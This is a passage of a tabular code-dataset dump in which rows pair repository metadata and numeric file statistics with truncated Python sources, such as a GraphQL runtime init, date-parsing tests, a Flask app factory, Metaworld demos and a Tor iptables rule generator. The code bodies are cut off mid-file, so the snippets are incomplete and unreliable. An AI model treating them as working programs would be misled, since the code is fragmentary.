return bas... | 27.923077 | 79 | 0.619835 | 37 | 363 | 5.702703 | 0.540541 | 0.156398 | 0.161137 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.088154 | 363 | 12 | 80 | 30.25 | 0.637462 | 0.212121 | 0 | 0 | 1 | 0 | 0.083032 | 0.075812 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
9a8061bc661852a68fd645f1723d4a4ed1bb0a28 | 315 | py | Python | src/py_gql/execution/runtime/__init__.py | johnpaulguzman/py-gql | 5a2d180537218e1c30c65b2a933fb4fe197785ae | [
"MIT"
] | 6 | 2019-04-30T10:48:09.000Z | 2021-08-19T15:57:53.000Z | src/py_gql/execution/runtime/__init__.py | johnpaulguzman/py-gql | 5a2d180537218e1c30c65b2a933fb4fe197785ae | [
"MIT"
] | 6 | 2019-04-08T12:39:08.000Z | 2020-08-10T15:00:18.000Z | src/py_gql/execution/runtime/__init__.py | johnpaulguzman/py-gql | 5a2d180537218e1c30c65b2a933fb4fe197785ae | [
"MIT"
] | 2 | 2021-04-14T07:06:15.000Z | 2021-08-19T15:58:46.000Z | # -*- coding: utf-8 -*-
from .asyncio import AsyncIORuntime
from .base import Runtime, SubscriptionRuntime
from .blocking import BlockingRuntime
from .threadpool import ThreadPoolRuntime
__all__ = [
"Runtime",
"SubscriptionRuntime",
"BlockingRuntime",
"AsyncIORuntime",
"ThreadPoolRuntime",
]
| 21 | 46 | 0.730159 | 26 | 315 | 8.692308 | 0.576923 | 0.230089 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003817 | 0.168254 | 315 | 14 | 47 | 22.5 | 0.858779 | 0.066667 | 0 | 0 | 0 | 0 | 0.246575 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.363636 | 0 | 0.363636 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
9a841acbbf57b1acb8ac90b5c4a7422e52a32e27 | 7,681 | py | Python | tests.py | hydrargyrum/timecalc | c372daeafe6848cfc8b8f9f1ea0a63d5f677ba83 | [
"WTFPL"
] | null | null | null | tests.py | hydrargyrum/timecalc | c372daeafe6848cfc8b8f9f1ea0a63d5f677ba83 | [
"WTFPL"
] | null | null | null | tests.py | hydrargyrum/timecalc | c372daeafe6848cfc8b8f9f1ea0a63d5f677ba83 | [
"WTFPL"
] | null | null | null | #!/usr/bin/env python3
# coding: utf-8
# license: WTFPLv2 [http://wtfpl.net]
import datetime
from datetime import datetime as DT
import unittest
from dateutil.relativedelta import relativedelta as RD
from timecalc import *
class TestParseMethods(unittest.TestCase):
def assertDatetimesEqual(self, a, b):
self.ass... | 56.477941 | 128 | 0.729072 | 1,238 | 7,681 | 4.391761 | 0.105008 | 0.139599 | 0.215744 | 0.310833 | 0.734596 | 0.661762 | 0.609895 | 0.466066 | 0.365459 | 0.299798 | 0 | 0.13261 | 0.099727 | 7,681 | 135 | 129 | 56.896296 | 0.653651 | 0.009244 | 0 | 0 | 0 | 0 | 0.178125 | 0 | 0 | 0 | 0 | 0 | 0.827273 | 1 | 0.1 | false | 0 | 0.045455 | 0 | 0.154545 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9a88c10a49c1677e6f2ce6ea514ed68fed86a286 | 831 | py | Python | Pset2/ps2_2.py | RoguedBear/EdX-MIT-6.00.1x | 6ec2cb971f277bf2b67f0f0303e8bf11810c4b26 | [
"MIT"
] | null | null | null | Pset2/ps2_2.py | RoguedBear/EdX-MIT-6.00.1x | 6ec2cb971f277bf2b67f0f0303e8bf11810c4b26 | [
"MIT"
] | null | null | null | Pset2/ps2_2.py | RoguedBear/EdX-MIT-6.00.1x | 6ec2cb971f277bf2b67f0f0303e8bf11810c4b26 | [
"MIT"
] | null | null | null | balance = 3926
annualInterestRate = 0.2
paid_amount = 10
def debt_calculator(months):
if months == 1:
unpaid_balance = balance - paid_amount
#print(f"Month {months} Remaining balance: {unpaid_balance + (annualInterestRate / 12 * unpaid_balance):.2f}")
return unpaid_balance + (annualInte... | 28.655172 | 118 | 0.702768 | 97 | 831 | 5.773196 | 0.28866 | 0.301786 | 0.221429 | 0.235714 | 0.639286 | 0.535714 | 0.535714 | 0.535714 | 0.535714 | 0.535714 | 0 | 0.040663 | 0.200963 | 831 | 28 | 119 | 29.678571 | 0.802711 | 0.262335 | 0 | 0.25 | 0 | 0 | 0.026187 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0 | 0 | 0.1875 | 0.0625 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9a9c38871d60de966b73f47339ca108d651f8be2 | 701 | py | Python | venv/Lib/site-packages/idx2numpy/__init__.py | David-Sebesta/Pattern-Recognition-ICP | 3645cfe6610f1c3bd30b4703e9ea5fd77c932abd | [
"MIT"
] | 20 | 2015-12-16T06:01:45.000Z | 2021-04-21T07:48:17.000Z | venv/Lib/site-packages/idx2numpy/__init__.py | David-Sebesta/Pattern-Recognition-ICP | 3645cfe6610f1c3bd30b4703e9ea5fd77c932abd | [
"MIT"
] | 6 | 2016-05-05T08:31:14.000Z | 2020-10-09T06:06:07.000Z | venv/Lib/site-packages/idx2numpy/__init__.py | David-Sebesta/Pattern-Recognition-ICP | 3645cfe6610f1c3bd30b4703e9ea5fd77c932abd | [
"MIT"
] | 8 | 2016-04-09T15:10:56.000Z | 2020-10-08T16:22:46.000Z | # -*- coding: utf-8 -*-
"""
idx2numpy package provides a tool for converting files from IDX format to
numpy.ndarray. You can meet files in IDX format, e.g. when you're going
to read the MNIST database of handwritten digits provided by Yann LeCun at
http://yann.lecun.com/exdb/mnist/
The description of IDX format also c... | 31.863636 | 74 | 0.797432 | 106 | 701 | 5.037736 | 0.54717 | 0.104869 | 0.149813 | 0.202247 | 0.247191 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0033 | 0.135521 | 701 | 21 | 75 | 33.380952 | 0.877888 | 0.483595 | 0 | 0 | 0 | 0 | 0.132768 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.875 | 0 | 0.875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
9aa263c2f4cf7cc70f75c59598ffff0520dbcfa5 | 380 | py | Python | app/__init__.py | doubleDragon/btc-diff | 55bc623fcb32e65c23dcf8b9faa44ad7e4aa6d00 | [
"Apache-2.0"
] | null | null | null | app/__init__.py | doubleDragon/btc-diff | 55bc623fcb32e65c23dcf8b9faa44ad7e4aa6d00 | [
"Apache-2.0"
] | null | null | null | app/__init__.py | doubleDragon/btc-diff | 55bc623fcb32e65c23dcf8b9faa44ad7e4aa6d00 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
from flask import Flask
def create_app():
app = Flask(__name__)
app.config.from_object('config')
register_blueprint(app)
return app
def register_blueprint(app):
from app.core.views import bp
app.register_blueprint(bp)
# from app.core.api impo... | 21.111111 | 52 | 0.686842 | 54 | 380 | 4.62963 | 0.462963 | 0.272 | 0.16 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003236 | 0.186842 | 380 | 17 | 53 | 22.352941 | 0.805825 | 0.310526 | 0 | 0 | 0 | 0 | 0.023256 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.222222 | 0 | 0.555556 | 0.333333 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
9ab7afc16f718e21dea063694765590be4d2b31c | 1,246 | py | Python | data/envLibrary/tempHumidity_lib_MOCK.py | ulnic/weatherSensor_rpi | fa02a1e90552ccb8c4c068d292d6c23b1662ab5b | [
"MIT"
] | 1 | 2017-01-29T03:20:16.000Z | 2017-01-29T03:20:16.000Z | data/envLibrary/tempHumidity_lib_MOCK.py | ulnic/weatherSensor | fa02a1e90552ccb8c4c068d292d6c23b1662ab5b | [
"MIT"
] | null | null | null | data/envLibrary/tempHumidity_lib_MOCK.py | ulnic/weatherSensor | fa02a1e90552ccb8c4c068d292d6c23b1662ab5b | [
"MIT"
] | null | null | null | #!/usr/bin/python
"""
MOCK Temperature Class
"""
import time
# noinspection PyMethodMayBeStatic
class HTU21D(object):
"""
Mock HTU21D Class
"""
def __init__(self):
time.sleep(.1)
def read_temperature(self):
"""
MOCK temperature method , always returning fixed value
... | 22.654545 | 62 | 0.565008 | 130 | 1,246 | 5.323077 | 0.276923 | 0.108382 | 0.121387 | 0.150289 | 0.736994 | 0.736994 | 0.66474 | 0.540462 | 0.410405 | 0.410405 | 0 | 0.039673 | 0.312199 | 1,246 | 55 | 63 | 22.654545 | 0.767795 | 0.357945 | 0 | 0.526316 | 0 | 0 | 0.22292 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.315789 | false | 0 | 0.052632 | 0 | 0.684211 | 0.210526 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
9abfd6240fe345960f69c34b642789c2f75ba4da | 2,716 | py | Python | src/python/T0/WMBS/Oracle/StorageManager/GetNewData.py | silviodonato/T0 | a093729d08b31175ed35cd20e889bd7094ce152a | [
"Apache-2.0"
] | 6 | 2016-03-09T14:36:19.000Z | 2021-07-27T01:28:00.000Z | src/python/T0/WMBS/Oracle/StorageManager/GetNewData.py | silviodonato/T0 | a093729d08b31175ed35cd20e889bd7094ce152a | [
"Apache-2.0"
] | 193 | 2015-01-07T21:03:43.000Z | 2022-03-31T12:22:18.000Z | src/python/T0/WMBS/Oracle/StorageManager/GetNewData.py | silviodonato/T0 | a093729d08b31175ed35cd20e889bd7094ce152a | [
"Apache-2.0"
] | 36 | 2015-01-28T19:01:54.000Z | 2021-12-15T17:18:20.000Z | """
_GetNewData_
Oracle implementation of GetNewData
Retrieve new data from StorageManager db
"""
from WMCore.Database.DBFormatter import DBFormatter
class GetNewData(DBFormatter):
def execute(self, minRun = None, maxRun = None, injectRun = None, conn = None, transaction = False):
if injectRun:
... | 46.033898 | 106 | 0.567378 | 278 | 2,716 | 5.219424 | 0.276978 | 0.155065 | 0.215024 | 0.26051 | 0.58856 | 0.458305 | 0.33632 | 0.183322 | 0.064783 | 0.064783 | 0 | 0.004662 | 0.368189 | 2,716 | 58 | 107 | 46.827586 | 0.840909 | 0.033505 | 0 | 0.093023 | 0 | 0 | 0.716743 | 0.381116 | 0 | 0 | 0 | 0 | 0 | 1 | 0.023256 | false | 0 | 0.023256 | 0 | 0.093023 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9acb7d09a4e4effa1c3f189c83d0e92ec23105af | 31,220 | py | Python | metaworld/scripts/demo_sawyer.py | prasoongoyal/pixl2r | b0691be6b27e705a62534b58f97ff7b8b6655c7d | [
"MIT"
] | 6 | 2020-12-10T01:39:57.000Z | 2022-02-23T21:39:46.000Z | metaworld/scripts/demo_sawyer.py | prasoongoyal/pixl2r | b0691be6b27e705a62534b58f97ff7b8b6655c7d | [
"MIT"
] | null | null | null | metaworld/scripts/demo_sawyer.py | prasoongoyal/pixl2r | b0691be6b27e705a62534b58f97ff7b8b6655c7d | [
"MIT"
] | 1 | 2021-06-03T21:29:49.000Z | 2021-06-03T21:29:49.000Z | #!/usr/bin/env python3
import time
import glfw
import numpy as np
import argparse
from metaworld.envs.mujoco.sawyer_xyz.sawyer_assembly_peg import SawyerNutAssemblyEnv
from metaworld.envs.mujoco.sawyer_xyz.sawyer_bin_picking import SawyerBinPickingEnv
from metaworld.envs.mujoco.sawyer_xyz.sawyer_box_close import Sawy... | 37.659831 | 119 | 0.598238 | 4,327 | 31,220 | 4.126184 | 0.062168 | 0.051753 | 0.039431 | 0.05489 | 0.750476 | 0.734905 | 0.712501 | 0.675927 | 0.644841 | 0.630447 | 0 | 0.050345 | 0.253075 | 31,220 | 828 | 120 | 37.705314 | 0.715297 | 0.386707 | 0 | 0.66087 | 0 | 0 | 0.011891 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.08913 | false | 0 | 0.063043 | 0 | 0.152174 | 0.015217 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9ad7cb47eb0595c6b94664acd6717f24c5d9b210 | 612 | py | Python | classNotes/object_orientation9/static_methods.py | minefarmer/Think_like_a_programmer | d6b1363f96600445ea47f91c637c5d0bede2e8f6 | [
"Unlicense"
] | null | null | null | classNotes/object_orientation9/static_methods.py | minefarmer/Think_like_a_programmer | d6b1363f96600445ea47f91c637c5d0bede2e8f6 | [
"Unlicense"
] | null | null | null | classNotes/object_orientation9/static_methods.py | minefarmer/Think_like_a_programmer | d6b1363f96600445ea47f91c637c5d0bede2e8f6 | [
"Unlicense"
] | null | null | null | import math # Noted are at the bottom
class Calculator:
@staticmethod # Because the static methods are not associated with the object of the class. Therefore in the static methods we don't need (self) to identify which method we are using.
def add(x1 , x2):
return x1 + x2
@stati... | 26.608696 | 189 | 0.671569 | 92 | 612 | 4.467391 | 0.565217 | 0.158151 | 0.077859 | 0.058394 | 0.068127 | 0 | 0 | 0 | 0 | 0 | 0 | 0.03132 | 0.269608 | 612 | 23 | 190 | 26.608696 | 0.888143 | 0.316993 | 0 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.111111 | 0.222222 | 0.666667 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
9ae2573674c374e0c4465e7f7e7a230a1bbc26df | 1,228 | py | Python | tests/test_vect.py | h-bryant/funcsim | 6f0ec2365e3ed6d9478e2f92e755cebafaf6528d | [
"BSD-3-Clause"
] | 1 | 2021-12-08T03:40:26.000Z | 2021-12-08T03:40:26.000Z | tests/test_vect.py | h-bryant/funcsim | 6f0ec2365e3ed6d9478e2f92e755cebafaf6528d | [
"BSD-3-Clause"
] | null | null | null | tests/test_vect.py | h-bryant/funcsim | 6f0ec2365e3ed6d9478e2f92e755cebafaf6528d | [
"BSD-3-Clause"
] | null | null | null | from __future__ import division
from numpy import arange
from numpy.testing import assert_array_equal
from funcsim.vect import varange, vectorize
def test_function():
@vectorize
def f(x):
return x + 1
assert_array_equal(f((1, 2, 3)), (2, 3, 4))
def test_method():
class A:
@vectoriz... | 22.327273 | 73 | 0.551303 | 180 | 1,228 | 3.583333 | 0.222222 | 0.11938 | 0.173643 | 0.018605 | 0.384496 | 0.231008 | 0.231008 | 0.105426 | 0.074419 | 0.074419 | 0 | 0.048698 | 0.280945 | 1,228 | 54 | 74 | 22.740741 | 0.681767 | 0.020358 | 0 | 0.315789 | 0 | 0 | 0.041107 | 0 | 0 | 0 | 0 | 0 | 0.236842 | 1 | 0.289474 | false | 0.052632 | 0.105263 | 0.078947 | 0.578947 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
9ae8ef55398c1603424da57f38d1a2384080cd4b | 1,253 | py | Python | scripts/write_tor_iptables.py | scherma/antfarm | ad4d1d564eb79bdc7e00780b97ca10594c75cd5c | [
"MIT"
] | 6 | 2018-08-26T10:15:29.000Z | 2022-03-03T21:12:37.000Z | scripts/write_tor_iptables.py | scherma/antfarm | ad4d1d564eb79bdc7e00780b97ca10594c75cd5c | [
"MIT"
] | 10 | 2018-03-09T18:18:28.000Z | 2021-05-06T21:37:53.000Z | scripts/write_tor_iptables.py | scherma/antfarm | ad4d1d564eb79bdc7e00780b97ca10594c75cd5c | [
"MIT"
] | 3 | 2018-11-29T07:47:30.000Z | 2020-05-24T09:58:57.000Z | #!/usr/bin/env python3
# coding: utf-8
# MIT License © https://github.com/scherma
# contact http_error_418 @ unsafehex.com
import sys, ipaddress, os
addr = sys.argv[1]
netmask = sys.argv[2]
writedir = sys.argv[3]
insert = ipaddress.IPv4Network(u"{0}/{1}".format(addr, netmask), strict=False).exploded
toron_txt = """... | 39.15625 | 110 | 0.686353 | 224 | 1,253 | 3.816964 | 0.348214 | 0.084211 | 0.112281 | 0.168421 | 0.690058 | 0.643275 | 0.554386 | 0.554386 | 0.552047 | 0.552047 | 0 | 0.063208 | 0.15403 | 1,253 | 32 | 111 | 39.15625 | 0.742453 | 0.09178 | 0 | 0 | 0 | 0.380952 | 0.657269 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.047619 | 0 | 0.047619 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9af2bddce0de86ddbb67605f676cb6c634972f3d | 1,167 | py | Python | common/operation.py | xty0505/crossfilter-benchmark-public | bb10bfeacb8438fa3b1e758e8ef9660caa5e633c | [
"MIT"
] | 2 | 2020-07-08T03:51:21.000Z | 2020-11-04T02:42:34.000Z | common/operation.py | xty0505/crossfilter-benchmark-public | bb10bfeacb8438fa3b1e758e8ef9660caa5e633c | [
"MIT"
] | null | null | null | common/operation.py | xty0505/crossfilter-benchmark-public | bb10bfeacb8438fa3b1e758e8ef9660caa5e633c | [
"MIT"
] | 1 | 2020-12-31T07:33:31.000Z | 2020-12-31T07:33:31.000Z | import json
class Operation:
def __init__(self, data):
self.data = data
def get_viz_name(self):
if "name" in self.data:
return self.data["name"]
return None
def get_source(self):
return self.data["source"]
def has_source(self):
return "source" in... | 25.933333 | 75 | 0.534704 | 140 | 1,167 | 4.35 | 0.271429 | 0.157635 | 0.065681 | 0.08867 | 0.078818 | 0.078818 | 0.078818 | 0 | 0 | 0 | 0 | 0.002632 | 0.348758 | 1,167 | 44 | 76 | 26.522727 | 0.798684 | 0 | 0 | 0.060606 | 0 | 0 | 0.062554 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.30303 | false | 0 | 0.030303 | 0.181818 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
9af54ef58e601475230698c8b2906721679c60b3 | 65 | py | Python | q2_dfdr/__init__.py | mortonjt/q2-pfdr | 8197cb2e9f512ad79013dd0eae654ff6f8085938 | [
"BSD-3-Clause"
] | null | null | null | q2_dfdr/__init__.py | mortonjt/q2-pfdr | 8197cb2e9f512ad79013dd0eae654ff6f8085938 | [
"BSD-3-Clause"
] | null | null | null | q2_dfdr/__init__.py | mortonjt/q2-pfdr | 8197cb2e9f512ad79013dd0eae654ff6f8085938 | [
"BSD-3-Clause"
] | null | null | null | __version__ = "0.0.1"
from q2_pfdr._pfdr import permutation_fdr
| 16.25 | 41 | 0.784615 | 11 | 65 | 4 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070175 | 0.123077 | 65 | 3 | 42 | 21.666667 | 0.701754 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
b115cc3c9a680f221fb14be9a46e62648b91f05c | 128 | py | Python | month01/文件和异常/my_project01/skill_system/skill_deployer.py | chaofan-zheng/python_leanring_code | 0af44ff39b9ded2c1d2cc96c6d356d21170ac04d | [
"Apache-2.0"
] | 4 | 2021-01-07T14:25:10.000Z | 2021-02-01T10:36:01.000Z | month01/文件和异常/my_project01/skill_system/skill_deployer.py | chaofan-zheng/python_leanring_code | 0af44ff39b9ded2c1d2cc96c6d356d21170ac04d | [
"Apache-2.0"
] | null | null | null | month01/文件和异常/my_project01/skill_system/skill_deployer.py | chaofan-zheng/python_leanring_code | 0af44ff39b9ded2c1d2cc96c6d356d21170ac04d | [
"Apache-2.0"
] | null | null | null | from common.list_helper import ListHelper
class Deployer:
def func02(self):
print("func02")
ListHelper.func03()
| 12.8 | 41 | 0.703125 | 15 | 128 | 5.933333 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.058824 | 0.203125 | 128 | 9 | 42 | 14.222222 | 0.813725 | 0 | 0 | 0 | 0 | 0 | 0.046875 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.6 | 0.2 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
b119750fd6e514f897af7931f5e737b1511ba591 | 2,068 | py | Python | plasTeX/Renderers/PageTemplate/simpletal/DummyLogger.py | perfectbark/LaTex2Docx | e32f9dcc59cce7bea4e7b114687b2300c623d8c0 | [
"MIT"
] | 23 | 2019-06-16T06:00:39.000Z | 2022-03-29T14:44:32.000Z | plasTeX/Renderers/PageTemplate/simpletal/DummyLogger.py | hao-han/LaTex2Docx | e32f9dcc59cce7bea4e7b114687b2300c623d8c0 | [
"MIT"
] | null | null | null | plasTeX/Renderers/PageTemplate/simpletal/DummyLogger.py | hao-han/LaTex2Docx | e32f9dcc59cce7bea4e7b114687b2300c623d8c0 | [
"MIT"
] | 12 | 2019-05-27T06:32:06.000Z | 2022-03-15T10:22:07.000Z | """ simpleTALES Implementation
Copyright (c) 2004 Colin Stewart (http://www.owlfish.com/)
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the ... | 30.865672 | 87 | 0.74323 | 300 | 2,068 | 5.12 | 0.53 | 0.052083 | 0.064453 | 0.048828 | 0.119792 | 0.088542 | 0.088542 | 0.088542 | 0.088542 | 0.088542 | 0 | 0.004219 | 0.197776 | 2,068 | 66 | 88 | 31.333333 | 0.92164 | 0.783849 | 0 | 0.434783 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.478261 | false | 0.434783 | 0 | 0.043478 | 0.565217 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
b12ac5ea499777b1833a68dee5d3329c250523ef | 230,358 | py | Python | module_presentations.py | qt911025/pw_module_system | dbd257e5231d16c47f17091a3ab18972be7687e5 | [
"BSD-3-Clause"
] | 1 | 2015-11-05T19:59:32.000Z | 2015-11-05T19:59:32.000Z | module_presentations.py | qt911025/pw_module_system | dbd257e5231d16c47f17091a3ab18972be7687e5 | [
"BSD-3-Clause"
] | null | null | null | module_presentations.py | qt911025/pw_module_system | dbd257e5231d16c47f17091a3ab18972be7687e5 | [
"BSD-3-Clause"
] | null | null | null | from header_common import *
from header_presentations import *
from header_mission_templates import *
from header_operations import *
from header_triggers import *
from header_items import *
from module_constants import *
import header_debug as dbg
import header_lazy_evaluation as lazy
################################... | 47.821881 | 192 | 0.662104 | 30,072 | 230,358 | 4.501596 | 0.031491 | 0.064053 | 0.054251 | 0.031439 | 0.8332 | 0.785872 | 0.724965 | 0.65204 | 0.580386 | 0.517315 | 0 | 0.029111 | 0.20548 | 230,358 | 4,816 | 193 | 47.831811 | 0.71053 | 0.032228 | 0 | 0.573119 | 0 | 0 | 0.284764 | 0.184794 | 0 | 0 | 0.003882 | 0 | 0 | 1 | 0.00067 | false | 0.001563 | 0.002009 | 0 | 0.003349 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b12affbae9a8c349d75c00f74df2bd2075ee0edd | 370 | py | Python | RecoLocalTracker/SiStripZeroSuppression/python/siStripMergeZeroSuppression_cfi.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | RecoLocalTracker/SiStripZeroSuppression/python/siStripMergeZeroSuppression_cfi.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | RecoLocalTracker/SiStripZeroSuppression/python/siStripMergeZeroSuppression_cfi.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | import FWCore.ParameterSet.Config as cms
from RecoLocalTracker.SiStripZeroSuppression.DefaultAlgorithms_cff import *
siStripMergeZeroSuppression = cms.EDProducer("SiStripMergeZeroSuppression",
Algorithms = DefaultAlgorithms,
DigisToMergeZS = cms.InputTag('siStripDigis','ZeroSuppressed'),
DigisToMergeV... | 37 | 75 | 0.802703 | 28 | 370 | 10.571429 | 0.75 | 0.074324 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105405 | 370 | 9 | 76 | 41.111111 | 0.89426 | 0 | 0 | 0 | 0 | 0 | 0.205405 | 0.072973 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.285714 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b148e72ff4ecce69434facb6c22e6d0e1ce9e9cd | 3,022 | py | Python | openhtf/__init__.py | frankalicious/openhtf | f74740065eac9b1af96638f100b816ec773f084b | [
